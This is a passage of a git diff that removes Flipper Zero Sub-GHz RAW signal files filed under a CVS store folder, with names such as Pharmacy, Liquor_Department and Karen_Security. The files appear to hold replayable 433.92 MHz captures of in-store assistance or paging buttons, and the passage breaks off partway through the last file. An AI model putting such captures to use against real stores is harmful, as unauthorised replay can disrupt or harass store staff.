a/assets/resources/subghz/Stores/CVS/Karen_Security.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1552 -1516 788 -748 1556 -1512 824 -744 1544 -744 1580 -744 1544 -740 1584 -744 1548 -740 1584 -740 1548 -740 1584 -740 1548 -740 1584 -740 1544 -744 1584 -744 1544 -744 1580 -744 1544 -744 1580 -744 1544 -748 1580 -744 1544 -744 1580 -1500 788 -1500 824 -1500 788 -1500 824 -1512 776 -744 1584 -1504 780 -744 1584 -1508 780 -740 1588 -1504 784 -740 1588 -1500 784 -740 1588 -1504 784 -736 1580 -4584 792 -748 1556 -1512 792 -748 1560 -1516 828 -740 1544 -748 1580 -744 1544 -744 1580 -744 1548 -744 1580 -740 1548 -744 1584 -740 1544 -744 1580 -744 1548 -736 1588 -740 1548 -740 1588 -740 1544 -740 1584 -744 1544 -740 1584 -744 1544 -740 1584 -1508 780 -1504 820 -1508 776 -1504 832 -1504 784 -736 1588 -1504 784 -736 1588 -1508 780 -744 1584 -1500 784 -740 1588 -1504 784 -736 1592 -1500 784 -744 1576 -4588 792 -744 1560 -1512 792 -748 1556 -1516 828 -744 1548 -740 1584 -740 1548 -740 1588 -740 1548 -740 1584 -744 1544 -748 1580 -744 1548 -740 1580 -748 1544 -744 1580 -740 1548 -740 1588 -740 1552 -740 1584 -740 1552 -736 1588 -740 1552 -736 1588 -1504 780 -1508 820 -1504 784 -1500 828 -1500 788 -744 1580 -1504 788 -744 1580 -1504 788 -744 1580 -1504 784 -744 1580 -1508 784 -740 1584 -1500 788 -744 1576 -4588 788 -748 1556 -1516 788 -744 1560 -1512 832 -740 1548 -740 1588 -740 1544 -744 1584 -740 1544 -748 1580 -744 1548 -740 1584 -744 1544 -740 1588 -736 1552 -736 1592 -736 1548 -740 1588 -740 1548 -744 1580 -740 1548 -744 1584 -740 1548 -744 1584 -1500 788 -1500 824 -1504 780 -1504 832 -1500 788 -736 1588 -1504 784 -740 1584 -1504 784 -740 1588 -1504 780 -740 1584 -1504 784 -744 1584 -1504 784 -740 1580 -4588 788 -744 1560 -1516 788 -748 1556 -1512 832 -740 1548 -740 1584 -740 1548 -740 1584 -744 1544 -744 1584 -744 1544 -740 1584 -744 1548 -736 1588 -740 1552 -736 1592 -736 1552 -736 1588 -740 1548 -740 1584 -740 1548 -740 1584 -748 1540 -748 1580 -1504 784 -1504 824 -1500 784 -1504 824 -1508 784 -740 1584 -1508 780 -744 1584 -1500 784 -744 1584 -1504 784 -740 1584 -1504 784 -740 1584 -1504 784 -740 1580 -4592 788 -748 1556 -1516 792 -744 1556 -1516 828 -740 1548 -740 1584 -744 1544 -740 1584 -744 1544 -740 1588 -740 1548 -736 1592 -736 1548 -736 1588 -740 1548 -740 1584 -744 1544 -740 1584 -740 1548 -740 1588 -736 1548 -740 1588 -740 1544 -748 1580 -1500 784 -1500 824 -1504 788 -1500 828 -1504 784 -740 1584 -1504 784 -740 1584 -1504 780 -744 1584 -1508 780 -740 1588 -1500 784 -744 1584 -1500 784 -740 1584 -4584 788 -748 1556 -1516 788 -744 1560 -1512 -RAW_Data: 832 -736 1552 -736 1588 -740 1548 -736 1588 -740 1548 -740 1584 -740 1548 -744 1580 -740 1548 -740 1588 -736 1552 -732 1592 -744 1544 -740 1580 -748 1540 -748 1580 -740 1548 -744 1580 -740 1552 -736 1588 -1504 784 -1504 824 -1504 780 -1504 828 -1504 780 -744 1588 -1504 780 -740 1584 -1504 784 -740 1588 -1504 784 -736 1584 -1508 784 -736 1588 -1504 784 -740 1576 -4592 784 -748 1560 -1516 788 -748 1560 -1512 828 -740 1552 -736 1588 -740 1548 -740 1588 -740 1548 -740 1584 -740 1548 -740 1584 -744 1548 -740 1584 -740 1548 -744 1584 -740 1548 -736 1592 -736 1552 -740 1584 -740 1548 -740 1588 -740 1548 -740 1584 -1500 788 -1496 828 -1504 780 -1504 828 -1500 788 -740 1580 -1508 784 -740 1588 -1500 784 -740 1588 -1500 784 -744 1584 -1500 784 -740 1588 -1504 788 -736 1580 -4588 788 -744 1560 -1516 788 -748 1560 -1516 828 -744 1544 -744 1584 -744 1544 -740 1588 -744 1544 -740 1588 -736 1552 -740 1584 -740 1548 -740 1588 -740 1548 -740 1584 -744 1544 -744 1580 -748 1544 -744 1584 -740 1548 -744 1584 -740 1548 -740 1588 -1500 784 -1504 824 -1504 784 -1500 832 -1500 784 -744 1584 -1500 784 -744 1584 -1504 784 -740 1588 -1504 784 -744 1580 -1508 784 -744 1580 -1504 784 -744 1580 -4588 792 -744 1560 -1512 796 -740 1560 -1516 828 -740 1552 -736 1588 -740 1548 -740 1588 -740 1544 -744 1584 -744 1544 -736 1588 -740 1552 -736 1588 -740 1548 -740 1584 -740 1548 -744 1584 -744 1544 -744 1584 -740 1548 -736 1592 -732 1552 -736 1588 -1504 780 -1504 820 -1504 780 -1508 828 -1504 784 -740 1588 -1504 780 -744 1584 -1504 784 -740 1584 -1508 780 -744 1584 -1508 780 -744 1584 -1504 784 -740 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Liquor_Department.sub b/assets/resources/subghz/Stores/CVS/Liquor_Department.sub deleted file mode 100644 index 56343f209..000000000 --- a/assets/resources/subghz/Stores/CVS/Liquor_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1560 -1516 788 -744 1560 -1516 828 -744 1544 -744 1580 -748 1540 -744 1588 -740 1544 -740 1584 -740 1552 -740 1584 -744 1544 -740 1580 -744 1548 -736 1588 -740 1548 -740 1584 -740 1552 -740 1584 -740 1544 -740 1588 -744 1540 -744 1592 -1500 784 -744 1580 -1504 784 -1504 828 -1504 780 -744 1576 -1508 780 -1504 828 -1500 784 -744 1588 -1504 784 -740 1588 -1500 784 -744 1580 -1508 784 -736 1580 -4584 792 -748 1556 -1520 784 -748 1560 -1516 828 -740 1544 -744 1588 -736 1548 -740 1584 -744 1544 -736 1588 -740 1544 -744 1584 -744 1544 -740 1584 -744 1544 -744 1584 -740 1544 -744 1584 -740 1544 -748 1580 -740 1548 -740 1588 -736 1552 -740 1592 -1500 784 -736 1584 -1500 784 -1504 832 -1500 784 -740 1584 -1500 784 -1508 828 -1500 788 -740 1584 -1500 784 -740 1588 -1504 780 -740 1584 -1508 776 -748 1580 -4580 792 -744 1564 -1512 788 -748 1556 -1516 832 -740 1548 -736 1588 -744 1548 -740 1588 -736 1548 -744 1584 -740 1548 -740 1588 -740 1548 -740 1584 -744 1548 -740 1584 -740 1548 -740 1588 -744 1544 -744 1584 -736 1552 -740 1584 -740 1544 -748 1584 -1504 784 -744 1576 -1504 788 -1500 824 -1500 788 -740 1580 -1504 784 -1500 828 -1508 780 -744 1584 -1500 784 -740 1588 -1504 784 -740 1588 -1500 784 -744 1580 -4588 784 -748 1560 -1520 788 -748 1560 -1512 828 -740 1552 -740 1584 -740 1548 -744 1584 -744 1544 -740 1588 -736 1548 -740 1580 -744 1548 -740 1588 -740 1544 -744 1584 -740 1548 -744 1584 -736 1552 -736 1588 -736 1552 -740 1584 -744 1544 -740 1584 -1504 788 -736 1584 -1500 784 -1504 828 -1508 776 -748 1576 -1504 784 -1500 828 -1508 780 -744 1580 -1508 776 -744 1584 -1508 780 -736 1584 -1504 784 -744 1580 -4584 788 -748 1552 -1524 788 -744 1556 -1520 824 -748 1540 -744 1580 -744 1548 -744 1576 -752 1548 -732 1584 -744 1540 -748 1584 -744 1540 -744 1584 -744 1548 -744 1580 -744 1544 -748 1584 -740 1556 -732 1584 -744 1544 -748 1580 -748 1540 -748 1588 -1500 780 -744 1584 -1500 780 -1508 828 -1500 784 -748 1576 -1504 788 -1504 820 -1508 788 -736 1588 -1504 776 -744 1588 -1504 784 -744 1576 -1508 784 -744 1576 -4588 788 -752 1556 -1512 788 -748 1560 -1524 816 -748 1544 -748 1576 -748 1544 -740 1588 -740 1548 -744 1580 -748 1544 -736 1584 -748 1540 -748 1588 -740 1544 -740 1588 -748 1536 -748 1576 -752 1540 -748 1576 -752 1536 -748 1580 -752 1536 -748 1580 -1512 776 -748 1572 -1512 776 -1512 824 -1508 776 -748 1576 -1512 772 -1516 816 -1512 776 -752 1576 -1516 776 -748 1576 -1516 776 -748 1576 -1516 772 -756 1568 -4600 784 -756 1548 -1524 780 -756 1552 -1528 -RAW_Data: 816 -756 1536 -752 1576 -748 1536 -760 1572 -748 1540 -748 1572 -756 1532 -756 1580 -744 1544 -748 1580 -744 1544 -748 1580 -748 1536 -752 1576 -748 1540 -748 1584 -748 1536 -748 1580 -752 1536 -752 1584 -1508 776 -752 1572 -1508 776 -1512 820 -1516 768 -756 1568 -1516 776 -1512 816 -1520 772 -752 1572 -1516 772 -752 1576 -1516 768 -756 1572 -1516 772 -752 1568 -4596 776 -760 1544 -1528 776 -760 1544 -1532 812 -756 1532 -756 1568 -760 1528 -756 1572 -756 1532 -756 1572 -756 1532 -756 1568 -760 1528 -760 1568 -756 1532 -756 1568 -760 1528 -760 1568 -760 1528 -756 1572 -760 1524 -760 1568 -760 1528 -760 1572 -1520 768 -756 1564 -1524 764 -1520 812 -1520 764 -760 1564 -1520 764 -1524 808 -1524 768 -756 1568 -1524 764 -764 1564 -1524 764 -760 1568 -1520 768 -760 1556 -4608 768 -764 1544 -1532 772 -764 1544 -1536 808 -764 1524 -760 1568 -760 1528 -760 1568 -756 1532 -756 1568 -764 1524 -760 1568 -760 1528 -764 1564 -764 1524 -760 1568 -764 1524 -760 1568 -760 1528 -760 1568 -760 1528 -760 1568 -760 1528 -760 1572 -1524 764 -760 1564 -1524 764 -1520 812 -1524 764 -756 1564 -1524 768 -1520 812 -1520 764 -760 1568 -1524 764 -760 1568 -1520 768 -760 1564 -1524 764 -764 1556 -4608 772 -768 1540 -1532 772 -768 1540 -1532 812 -760 1528 -760 1564 -760 1528 -760 1568 -760 1528 -760 1568 -760 1528 -760 1568 -760 1528 -760 1568 -760 1528 -760 1564 -760 1528 -760 1568 -760 1528 -760 1564 -764 1528 -756 1568 -760 1528 -760 1568 -1524 768 -756 1560 -1528 760 -1524 808 -1524 764 -760 1560 -1520 768 -1520 808 -1524 764 -760 1564 -1524 764 -760 1568 -1520 768 -760 1564 -1524 764 -760 1544 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Pain_Reliever_Department.sub b/assets/resources/subghz/Stores/CVS/Pain_Reliever_Department.sub deleted file mode 100644 index 1eee3d769..000000000 --- a/assets/resources/subghz/Stores/CVS/Pain_Reliever_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -748 1556 -1512 792 -748 1556 -1516 828 -740 1548 -736 1588 -740 1548 -740 1584 -744 1544 -740 1588 -740 1548 -740 1588 -740 1544 -740 1588 -740 1544 -744 1584 -740 1544 -748 1584 -736 1548 -740 1588 -744 1544 -740 1584 -744 1548 -736 1592 -1504 784 -744 1576 -1504 780 -1504 824 -1500 784 -1504 820 -1504 788 -1504 824 -1504 784 -740 1584 -1504 784 -736 1584 -1508 784 -740 1584 -1504 784 -740 1580 -4588 784 -748 1556 -1516 788 -752 1556 -1512 828 -744 1544 -740 1588 -740 1544 -744 1588 -740 1548 -740 1584 -744 1544 -740 1584 -744 1544 -740 1584 -744 1544 -740 1584 -744 1544 -740 1588 -740 1544 -740 1588 -740 1548 -740 1588 -736 1548 -744 1584 -1504 788 -736 1584 -1500 784 -1508 820 -1500 784 -1504 824 -1504 780 -1500 828 -1508 780 -740 1588 -1504 780 -740 1584 -1504 780 -744 1584 -1504 784 -740 1580 -4588 792 -740 1564 -1516 788 -748 1556 -1520 824 -744 1548 -736 1584 -748 1544 -744 1584 -740 1548 -740 1584 -740 1552 -740 1584 -744 1548 -736 1588 -744 1544 -744 1588 -736 1544 -744 1584 -744 1548 -740 1588 -744 1548 -740 1588 -740 1544 -744 1588 -1504 788 -736 1584 -1500 788 -1500 824 -1508 776 -1508 824 -1500 788 -1500 828 -1508 780 -744 1584 -1500 788 -744 1584 -1504 780 -744 1584 -1504 784 -744 1580 -4588 788 -748 1556 -1516 792 -748 1560 -1512 832 -744 1544 -744 1584 -740 1548 -744 1584 -744 1552 -736 1588 -740 1548 -744 1584 -740 1548 -740 1584 -748 1544 -740 1588 -740 1548 -744 1584 -740 1548 -740 1588 -740 1552 -736 1592 -740 1548 -744 1588 -1504 784 -740 1580 -1504 784 -1504 824 -1504 780 -1508 820 -1504 784 -1508 824 -1504 780 -744 1588 -1504 780 -744 1588 -1508 780 -740 1584 -1508 784 -744 1576 -4592 792 -748 1560 -1512 788 -748 1564 -1516 828 -740 1548 -740 1584 -744 1548 -744 1584 -740 1544 -748 1580 -748 1548 -736 1588 -744 1544 -744 1584 -740 1544 -748 1584 -744 1544 -740 1588 -744 1544 -744 1588 -740 1548 -744 1580 -744 1548 -740 1588 -1504 784 -744 1580 -1508 776 -1504 828 -1504 784 -1504 820 -1508 784 -1504 824 -1512 780 -744 1580 -1508 784 -744 1584 -1508 780 -744 1580 -1508 784 -744 1580 -4592 788 -748 1556 -1512 792 -748 1560 -1516 828 -744 1544 -744 1584 -748 1544 -740 1584 -744 1548 -744 1584 -748 1544 -740 1592 -740 1548 -744 1584 -740 1548 -744 1580 -748 1544 -744 1584 -744 1548 -744 1584 -744 1548 -736 1588 -744 1544 -740 1592 -1504 784 -740 1584 -1500 788 -1504 824 -1504 788 -1504 820 -1508 780 -1504 828 -1504 784 -744 1584 -1504 788 -740 1584 -1504 788 -740 1588 -1504 788 -736 1580 -4588 792 -748 1560 -1516 792 -748 1560 -1512 -RAW_Data: 832 -740 1548 -744 1584 -744 1548 -736 1588 -744 1548 -740 1588 -736 1548 -744 1584 -744 1548 -740 1584 -744 1548 -740 1588 -740 1544 -748 1584 -744 1544 -740 1588 -744 1544 -748 1584 -736 1552 -740 1588 -1512 780 -744 1580 -1504 784 -1508 820 -1508 784 -1504 824 -1504 784 -1508 824 -1504 784 -740 1584 -1508 780 -748 1584 -1504 784 -740 1584 -1508 784 -744 1576 -4592 788 -748 1560 -1512 788 -752 1560 -1512 832 -736 1552 -740 1588 -744 1544 -744 1584 -740 1552 -744 1580 -748 1544 -736 1592 -744 1544 -744 1584 -740 1548 -740 1584 -748 1544 -740 1588 -744 1544 -744 1584 -744 1544 -744 1584 -744 1544 -744 1588 -1504 784 -740 1584 -1504 784 -1504 820 -1508 776 -1504 824 -1504 788 -1504 828 -1504 780 -744 1584 -1504 788 -740 1588 -1504 784 -736 1588 -1508 780 -744 1580 -4592 788 -748 1560 -1520 788 -748 1556 -1520 828 -744 1548 -744 1584 -740 1548 -744 1584 -748 1544 -740 1588 -740 1548 -740 1584 -748 1544 -744 1588 -740 1548 -744 1584 -748 1544 -744 1584 -740 1552 -740 1588 -740 1548 -740 1588 -740 1552 -744 1584 -1508 784 -740 1580 -1504 788 -1504 820 -1504 788 -1500 824 -1508 780 -1504 828 -1504 780 -748 1584 -1504 784 -740 1588 -1508 780 -740 1588 -1504 784 -744 1576 -4592 792 -748 1560 -1516 784 -752 1556 -1520 828 -736 1552 -744 1580 -748 1540 -748 1584 -740 1552 -740 1584 -748 1544 -744 1584 -740 1552 -744 1580 -748 1544 -744 1584 -740 1552 -744 1584 -744 1544 -740 1592 -736 1548 -744 1588 -740 1548 -736 1596 -1504 780 -744 1584 -1504 784 -1504 820 -1508 784 -1500 824 -1504 788 -1504 824 -1508 784 -740 1588 -1504 780 -748 1584 -1500 788 -740 1588 -1508 784 -740 1560 -15964 diff --git a/assets/resources/subghz/Stores/CVS/Pharmacy.sub b/assets/resources/subghz/Stores/CVS/Pharmacy.sub deleted file mode 100644 index da8fd6894..000000000 --- a/assets/resources/subghz/Stores/CVS/Pharmacy.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1564 -1508 792 -748 1560 -1516 828 -740 1548 -740 1584 -740 1548 -740 1588 -744 1544 -740 1584 -740 1552 -736 1588 -740 1552 -740 1584 -748 1544 -740 1588 -740 1548 -740 1588 -736 1548 -740 1588 -744 1548 -740 1584 -744 1548 -736 1588 -1500 788 -1504 820 -1504 784 -1500 828 -1496 792 -1504 824 -1504 788 -740 1580 -1508 784 -1504 824 -1500 792 -736 1584 -1500 788 -1500 828 -1500 788 -1500 824 -4588 792 -744 1560 -1516 792 -744 1560 -1520 828 -744 1548 -740 1588 -736 1552 -736 1588 -740 1552 -740 1588 -740 1552 -740 1584 -740 1552 -740 1588 -740 1544 -744 1588 -740 1552 -740 1588 -740 1548 -740 1588 -740 1552 -740 1584 -740 1552 -744 1584 -1500 788 -1504 820 -1508 780 -1504 824 -1504 784 -1500 832 -1504 784 -744 1576 -1504 784 -1504 832 -1504 784 -740 1580 -1508 780 -1504 820 -1504 792 -1504 824 -4584 792 -752 1556 -1516 792 -744 1564 -1512 832 -740 1552 -736 1588 -736 1552 -740 1588 -744 1548 -740 1584 -744 1552 -736 1592 -736 1552 -736 1592 -740 1548 -744 1584 -744 1548 -744 1584 -740 1552 -736 1592 -736 1548 -740 1588 -740 1548 -740 1588 -1504 784 -1500 828 -1504 788 -1500 824 -1508 776 -1508 832 -1500 788 -736 1588 -1504 780 -1504 828 -1500 792 -736 1584 -1500 788 -1504 824 -1500 784 -1508 820 -4588 788 -752 1556 -1516 792 -744 1560 -1516 828 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -744 1544 -744 1588 -740 1548 -744 1584 -744 1548 -736 1588 -740 1552 -736 1588 -740 1548 -744 1588 -740 1548 -744 1584 -740 1552 -736 1592 -1500 788 -1504 820 -1508 784 -1500 832 -1500 784 -1508 824 -1504 788 -740 1580 -1504 788 -1504 828 -1504 788 -736 1588 -1500 784 -1508 820 -1508 780 -1504 828 -4588 792 -748 1564 -1508 796 -748 1560 -1516 828 -740 1556 -736 1588 -740 1548 -744 1588 -740 1548 -744 1584 -744 1548 -740 1592 -732 1552 -740 1588 -744 1548 -740 1588 -744 1544 -744 1588 -740 1552 -736 1588 -740 1552 -740 1588 -744 1548 -740 1588 -1500 788 -1504 824 -1504 784 -1504 824 -1504 788 -1508 824 -1504 788 -740 1588 -1500 784 -1508 828 -1500 788 -740 1588 -1504 780 -1508 820 -1500 792 -1500 828 -4588 792 -748 1560 -1520 788 -744 1568 -1512 828 -740 1552 -740 1588 -744 1548 -740 1588 -740 1552 -740 1588 -736 1552 -744 1584 -740 1552 -744 1584 -744 1548 -740 1588 -740 1552 -740 1584 -744 1548 -744 1584 -744 1548 -740 1588 -740 1548 -740 1588 -1504 784 -1504 824 -1504 784 -1500 828 -1504 784 -1508 824 -1500 792 -736 1584 -1500 792 -1504 828 -1500 792 -736 1584 -1504 788 -1504 820 -1508 784 -1500 828 -4588 796 -744 1560 -1516 792 -748 1560 -1520 -RAW_Data: 828 -740 1548 -740 1588 -740 1552 -744 1584 -740 1552 -740 1588 -740 1548 -744 1584 -740 1548 -740 1588 -740 1552 -740 1588 -744 1548 -744 1584 -740 1548 -740 1588 -740 1552 -736 1592 -740 1548 -744 1584 -1504 788 -1500 828 -1500 788 -1504 820 -1508 784 -1504 828 -1508 780 -740 1584 -1504 784 -1508 828 -1508 780 -740 1584 -1504 788 -1500 824 -1508 784 -1508 820 -4592 792 -744 1560 -1516 792 -744 1564 -1512 832 -740 1552 -736 1588 -740 1552 -740 1592 -740 1548 -740 1592 -740 1548 -740 1588 -740 1552 -740 1588 -740 1548 -744 1584 -744 1548 -740 1592 -736 1556 -736 1588 -740 1552 -740 1584 -748 1548 -744 1580 -1504 788 -1504 824 -1504 788 -1500 824 -1504 784 -1504 828 -1500 792 -736 1584 -1500 788 -1500 832 -1500 788 -740 1584 -1504 780 -1508 820 -1504 784 -1504 820 -4588 792 -744 1564 -1512 792 -744 1564 -1516 828 -744 1544 -744 1584 -740 1548 -744 1584 -740 1552 -736 1592 -740 1552 -736 1588 -744 1544 -740 1584 -744 1548 -740 1588 -740 1548 -744 1584 -740 1548 -736 1592 -740 1548 -740 1592 -736 1548 -744 1580 -1512 780 -1508 824 -1496 788 -1500 828 -1500 788 -1504 832 -1496 792 -736 1584 -1508 780 -1508 824 -1508 784 -736 1584 -1500 784 -1508 824 -1508 780 -1504 824 -4588 792 -744 1564 -1512 796 -740 1564 -1516 828 -740 1552 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1552 -740 1588 -744 1548 -736 1592 -740 1552 -740 1588 -740 1548 -740 1588 -740 1548 -744 1584 -740 1552 -736 1592 -740 1548 -736 1588 -1508 780 -1508 824 -1500 788 -1504 820 -1508 788 -1500 828 -1504 788 -740 1584 -1504 784 -1504 828 -1504 784 -744 1580 -1500 788 -1504 824 -1504 788 -1496 808 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Photo_Lab.sub b/assets/resources/subghz/Stores/CVS/Photo_Lab.sub deleted file mode 100644 index 3f2dd32f9..000000000 --- a/assets/resources/subghz/Stores/CVS/Photo_Lab.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -740 1560 -1520 784 -744 1560 -1516 828 -740 1544 -748 1580 -740 1548 -740 1580 -748 1544 -748 1580 -736 1548 -752 1576 -748 1544 -740 1588 -744 1540 -748 1580 -744 1544 -740 1588 -744 1540 -748 1576 -752 1540 -748 1576 -740 1548 -740 1588 -1504 784 -744 1584 -1500 784 -744 1588 -1496 784 -748 1576 -1500 784 -1516 816 -1504 784 -1500 832 -1500 784 -744 1580 -1508 784 -744 1580 -1504 784 -740 1580 -4584 792 -744 1560 -1512 792 -756 1548 -1520 824 -748 1540 -744 1580 -740 1548 -748 1576 -744 1548 -740 1584 -740 1548 -740 1588 -744 1544 -744 1584 -740 1544 -740 1588 -744 1544 -740 1584 -748 1544 -740 1584 -748 1540 -740 1584 -748 1544 -748 1576 -1508 784 -744 1584 -1508 776 -744 1584 -1508 776 -744 1576 -1504 788 -1504 816 -1504 788 -1504 824 -1508 780 -744 1580 -1508 780 -740 1584 -1504 784 -744 1576 -4584 792 -744 1560 -1516 788 -748 1560 -1516 824 -744 1548 -744 1580 -740 1544 -744 1584 -740 1548 -740 1588 -744 1544 -748 1576 -748 1540 -748 1584 -740 1544 -744 1580 -744 1548 -744 1580 -740 1548 -744 1584 -740 1544 -748 1584 -740 1544 -744 1584 -1508 780 -740 1588 -1500 784 -748 1580 -1500 784 -744 1580 -1504 784 -1500 824 -1508 780 -1504 824 -1512 780 -740 1588 -1504 784 -748 1576 -1504 784 -748 1572 -4592 788 -752 1552 -1516 792 -752 1552 -1520 824 -740 1548 -744 1584 -748 1540 -744 1588 -744 1544 -748 1580 -744 1544 -752 1580 -744 1544 -748 1580 -748 1540 -740 1588 -740 1548 -748 1580 -744 1544 -740 1584 -740 1548 -740 1588 -740 1548 -740 1588 -1504 780 -748 1584 -1500 784 -744 1584 -1504 784 -740 1576 -1512 780 -1504 820 -1504 784 -1504 824 -1508 780 -744 1580 -1508 780 -748 1580 -1500 784 -748 1576 -4584 788 -752 1552 -1520 784 -744 1560 -1512 832 -740 1544 -744 1580 -740 1548 -748 1580 -740 1548 -736 1588 -744 1540 -748 1584 -740 1544 -748 1576 -748 1544 -744 1580 -740 1548 -748 1580 -744 1540 -740 1588 -740 1548 -744 1580 -748 1540 -744 1588 -1504 780 -744 1584 -1504 780 -744 1584 -1508 780 -744 1576 -1500 784 -1508 820 -1500 784 -1504 828 -1504 784 -744 1580 -1508 780 -748 1576 -1516 776 -740 1576 -4588 788 -756 1552 -1516 792 -748 1552 -1516 828 -740 1548 -748 1576 -748 1540 -748 1584 -740 1544 -748 1580 -748 1544 -740 1580 -744 1548 -748 1580 -740 1548 -740 1588 -748 1536 -744 1584 -740 1544 -748 1576 -740 1552 -740 1584 -740 1552 -744 1580 -1516 772 -748 1580 -1504 784 -744 1584 -1500 784 -748 1576 -1504 784 -1508 816 -1508 780 -1508 824 -1508 780 -744 1580 -1504 784 -744 1584 -1508 776 -748 1572 -4588 792 -744 1564 -1512 792 -744 1560 -1516 -RAW_Data: 828 -748 1540 -748 1580 -740 1552 -748 1576 -748 1548 -740 1584 -736 1552 -744 1580 -740 1548 -748 1580 -748 1540 -740 1588 -740 1548 -740 1584 -744 1548 -744 1580 -744 1548 -740 1584 -740 1548 -744 1584 -1508 784 -740 1588 -1504 784 -744 1584 -1508 780 -744 1576 -1500 788 -1512 816 -1504 780 -1508 828 -1504 784 -740 1584 -1512 776 -740 1592 -1500 784 -744 1580 -4584 792 -748 1560 -1520 784 -752 1556 -1512 832 -744 1548 -740 1588 -744 1544 -744 1584 -740 1548 -736 1588 -748 1544 -744 1580 -740 1552 -744 1580 -748 1544 -740 1588 -740 1544 -748 1580 -744 1548 -748 1580 -740 1552 -736 1588 -748 1544 -736 1592 -1512 776 -748 1584 -1504 784 -744 1584 -1508 780 -744 1580 -1504 788 -1500 828 -1508 780 -1500 832 -1504 780 -744 1584 -1504 788 -740 1588 -1504 788 -736 1580 -4596 792 -748 1560 -1516 788 -748 1560 -1512 836 -744 1544 -740 1588 -740 1552 -744 1584 -744 1544 -744 1584 -744 1544 -740 1588 -748 1544 -740 1584 -752 1536 -748 1584 -740 1548 -748 1584 -740 1548 -740 1588 -744 1548 -740 1584 -752 1544 -740 1592 -1508 780 -744 1584 -1508 784 -744 1588 -1496 784 -748 1576 -1504 788 -1500 824 -1504 788 -1504 828 -1504 784 -748 1580 -1516 776 -744 1584 -1508 780 -748 1580 -4596 784 -756 1552 -1520 784 -752 1556 -1520 828 -744 1548 -744 1584 -740 1548 -740 1588 -740 1552 -744 1580 -744 1548 -744 1584 -748 1544 -748 1580 -744 1548 -740 1588 -744 1548 -744 1584 -744 1544 -740 1588 -748 1544 -740 1588 -744 1544 -748 1584 -1504 784 -744 1584 -1508 784 -744 1580 -1512 780 -744 1580 -1500 788 -1504 820 -1512 776 -1512 824 -1508 780 -740 1588 -1508 780 -748 1580 -1504 788 -744 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Pre-Recorded_Video_Department.sub b/assets/resources/subghz/Stores/CVS/Pre-Recorded_Video_Department.sub deleted file mode 100644 index ebd337325..000000000 --- a/assets/resources/subghz/Stores/CVS/Pre-Recorded_Video_Department.sub +++ /dev/null @@ -1,9 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -752 1552 -1512 792 -748 1556 -1516 828 -740 1548 -736 1588 -744 1544 -740 1584 -740 1552 -736 1584 -744 1544 -744 1584 -740 1548 -740 1580 -748 1544 -740 1580 -744 1548 -744 1580 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -736 1592 -1500 788 -740 1584 -1500 788 -1500 824 -1512 780 -740 1592 -1500 784 -736 1584 -1504 784 -1504 824 -1504 784 -740 1588 -1504 784 -736 1588 -1500 788 -740 1580 -4588 788 -748 1556 -1516 788 -748 1560 -1516 828 -740 1548 -740 1584 -740 1552 -736 1588 -740 1552 -740 1584 -748 1544 -744 1580 -748 1540 -744 1592 -736 1548 -740 1588 -736 1552 -740 1584 -740 1552 -736 1588 -740 1548 -740 1588 -740 1548 -744 1584 -1508 780 -740 1584 -1504 780 -1504 828 -1508 780 -740 1584 -1508 776 -748 1580 -1500 788 -1500 832 -1500 784 -744 1584 -1504 784 -740 1588 -1504 784 -740 1580 -4588 788 -748 1556 -1512 792 -748 1560 -1512 832 -736 1544 -748 1584 -740 1548 -736 1592 -740 1544 -744 1584 -740 1552 -740 1584 -744 1548 -736 1588 -744 1548 -740 1588 -740 1548 -740 1584 -744 1548 -740 1588 -736 1548 -744 1588 -740 1544 -740 1588 -1504 784 -736 1584 -1504 784 -1500 828 -1504 784 -744 1580 -1504 784 -740 1580 -1508 780 -1508 824 -1504 784 -744 1584 -1504 784 -740 1584 -1504 784 -744 1580 -4584 788 -748 1564 -1512 792 -744 1560 -1516 828 -740 1552 -740 1584 -740 1548 -740 1588 -740 1544 -744 1584 -744 1544 -740 1588 -736 1548 -744 1580 -748 1540 -744 1588 -740 1548 -744 1580 -740 1544 -744 1588 -740 1544 -744 1584 -740 1548 -736 1596 -1496 784 -744 1580 -1504 780 -1508 824 -1508 780 -744 1584 -1508 776 -748 1576 -1508 780 -1508 820 -1512 776 -748 1580 -1508 776 -744 1584 -1508 780 -740 1580 -4592 784 -752 1552 -1516 792 -748 1556 -1516 828 -744 1540 -744 1584 -740 1548 -744 1584 -740 1548 -744 1584 -736 1548 -740 1584 -744 1544 -740 1588 -740 1548 -740 1584 -744 1544 -740 1588 -744 1544 -740 1584 -740 1548 -740 1588 -740 1544 -748 1584 -1504 784 -740 1576 -1504 788 -1504 828 -1496 792 -736 1588 -1508 780 -740 1580 -1504 784 -1508 820 -1512 784 -740 1580 -1504 784 -744 1584 -1508 780 -744 1572 -4592 788 -752 1560 -1512 788 -752 1552 -1516 832 -740 1548 -740 1584 -748 1540 -744 1580 -744 1544 -748 1580 -744 1544 -740 1584 -744 